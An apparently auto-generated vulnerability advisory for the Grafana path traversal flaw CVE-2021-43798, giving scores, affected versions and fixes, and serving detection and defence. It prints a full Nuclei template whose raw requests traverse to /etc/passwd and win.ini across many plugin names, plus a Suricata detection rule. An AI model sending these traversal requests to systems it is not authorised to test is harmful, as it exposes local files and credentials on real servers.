VULNpocalypse

CVE-2021-43798: Grafana Path Traversal Vulnerability

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

Generated by VEDAS. Scores as of 2026-11-01 19:19 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.

What it is

Grafana is an open-source platform for monitoring and observability. Grafana versions 8.0.0-beta1 through 8.3.0 (except for patched versions) iss vulnerable to directory traversal, allowing access to local files. The vulnerable URL path is: `<grafana_host_url>/public/plugins//`, where is the plugin ID for any installed plugin. At no time has Grafana Cloud been vulnerable. Users are advised to upgrade to patched versions 8.0.7, 8.1.8, 8.2.7, or 8.3.1. The GitHub Security Advisory contains more information about vulnerable URL paths, mitigation, and the disclosure timeline.

Description quoted from the CVE record (assigned by GitHub_M, published 2021-12-07).

Weakness: CWE-22: Improper Limitation of a Pathname to a Restricted Directory (‘Path Traversal’)

How it can be exploited

Exploitable over the network with low attack complexity needing no privileges and no user interaction. Impact: confidentiality high, integrity none, availability none. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: yes. Technical impact: partial.

On CISA KEV since
2025-10-09
US federal deadline
2025-10-30
Ransomware use
Not known

Public exploit evidence (Exploit Observer)

Also known as: BDU:2023-00493, CNNVD-202112-482, EDB-50581, EUVD-2024-0581, GHSA-7533-c8qv-jm9m, GHSA-8pjx-jj86-j47p, SNYK-ALPINE316-GRAFANA-2844116, SNYK-ALPINE321-GRAFANA-8486115, SNYK-GOLANG-GITHUBCOMGRAFANAGRAFANAPKGAPI-2312869, SNYK-JS-GRIDCONTEXT-8535797

VEDAS cluster: VEDAS:ACCLAIMEDACACIA

Exploit Observer links 78 pieces of public exploit code or detection modules that name this CVE or one of its aliases.

Exploit code and modules (78)

Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.

Research and write-ups (3)

Vulnerability databases and vendor advisories (18)

Catalogue entries, not exploit evidence.

562 more references returned by Exploit Observer did not name this CVE or an alias, so they are left out.

VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.

Live scores

EPSS
0.885
very likely to be attacked soon
VEDAS
0.980
strong exploit evidence
On CISA KEV
Yes, since 2025-10-09
Detection rule
Nuclei · Suricata
EPSS (chance of attack)
10No cve-scores data 2026-02-22 to 2026-08-08no data0.1Added to CISA KEV 2025-10-09CVE-2021-43798 EPSS over time2025-042026-11-01
VEDAS (exploit evidence)
10No cve-scores data 2026-02-22 to 2026-08-08no data0.9Added to CISA KEV 2025-10-09CVE-2021-43798 VEDAS over time2025-042026-11-01

Thin horizontal line: the “likely” (EPSS 0.10) or “strong” (VEDAS 0.90) threshold. Shaded “no data” areas are periods when cve-scores did not publish. The vertical line is the day CISA added it to its exploited list.

VEDAS flagged this bug about 53 days before CISA confirmed attacks.

Who is affected

ProductAffectedNot affected
grafana grafanaversion >= 8.0.0, < 8.0.7
version >= 8.1.0, < 8.1.8
version >= 8.2.0, < 8.2.7
version = 8.3.0		Not stated

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

Exploit Observer also maps it to: grafana grafana, grafana_labs grafana.

How to fix it

CISA required action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.

Vendor guidance:

How to detect it

Nuclei template (active check)

Grafana - Path Traversal

Grafana is an open-source platform for monitoring and observability. Grafana versions 8.0.0-beta1 through 8.3.0 (except for patched versions) iss vulnerable to directory traversal, allowing access to local files.

Name and description quoted from the template, written by VEDAS.

The template sends 4 requests (GET /public/plugins/{{pluginSlug}}/../../../../../../../../../../../../..., GET /public/plugins/{{pluginSlug}}/#/../../../../../../../../../../../...., GET /public/plugins/{{pluginSlug}}/../../../../../../../../../../../../..., GET /public/plugins/{{pluginSlug}}/#/../../../../../../../../../../../....); it decides using regex, status, word matchers. Severity in the template: high. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash
nuclei -u https://your-host -t CVE-2021-43798.yaml
Show the template (108 lines)
yaml
id: CVE-2021-43798

info:
  name: Grafana - Path Traversal
  author: vedas-arpsyndicate
  severity: high
  description: |
    Grafana is an open-source platform for monitoring and observability. Grafana versions 8.0.0-beta1 through
    8.3.0 (except for patched versions) iss vulnerable to directory traversal, allowing access to local files.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2021-43798&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=grafana&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-43798
    cwe-id: CWE-22
  metadata:
    verified: false
  tags: cve2021,cve,packetstorm,grafana,lfi,vkev,kev,vuln
http:
  - raw:
      - |+
        GET /public/plugins/{{pluginSlug}}/../../../../../../../../../../../../../../../../../../etc/passwd HTTP/1.1
        Host: {{Hostname}}
        Connection: close

      - |+
        GET /public/plugins/{{pluginSlug}}/#/../../../../../../../../../../../../../../../../../../etc/passwd HTTP/1.1
        Host: {{Hostname}}
        Connection: close

      - |+
        GET /public/plugins/{{pluginSlug}}/../../../../../../../../../../../../../../../../../../windows/win.ini HTTP/1.1
        Host: {{Hostname}}
        Connection: close

      - |+
        GET /public/plugins/{{pluginSlug}}/#/../../../../../../../../../../../../../../../../../../windows/win.ini HTTP/1.1
        Host: {{Hostname}}
        Connection: close

    unsafe: true
    disable-path-automerge: true

    payloads:
      pluginSlug:
        - alertlist
        - annolist
        - barchart
        - bargauge
        - candlestick
        - cloudwatch
        - dashlist
        - elasticsearch
        - gauge
        - geomap
        - gettingstarted
        - grafana-azure-monitor-datasource
        - graph
        - heatmap
        - histogram
        - influxdb
        - jaeger
        - logs
        - loki
        - minstalled
        - mssql
        - mysql
        - news
        - nodeGraph
        - opentsdb
        - piechart
        - pluginlist
        - postgres
        - prometheus
        - stackdriver
        - stat
        - state-timeline
        - status-history
        - table
        - table-old
        - tempo
        - testdata
        - text
        - timeseries
        - welcome
        - zipkin
    threads: 50
    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "text/plain"

      - type: regex
        regex:
          - "root:.*:0:([0-9]+):"
          - '\/tmp\/grafana\.sock'
          - '\[(fonts|extensions|Mail|files)\]'
        condition: or

      - type: status
        status:
          - 200

CVE-2021-43798.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2021-43798 Grafana - Path Traversal. Add them to your Suricata rule set and reload.

Show the rules
suricata
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2021-43798 Grafana - Path Traversal"; flow:established,to_server; http.uri; content:"etc/passwd"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2021-43798; reference:url,https://www.exploit.observer/?keyword=CVE-2021-43798&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=grafana&match=exact; sid:1011804; rev:1;)

CVE-2021-43798.rules on GitHub

References

Government sources

Other references

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.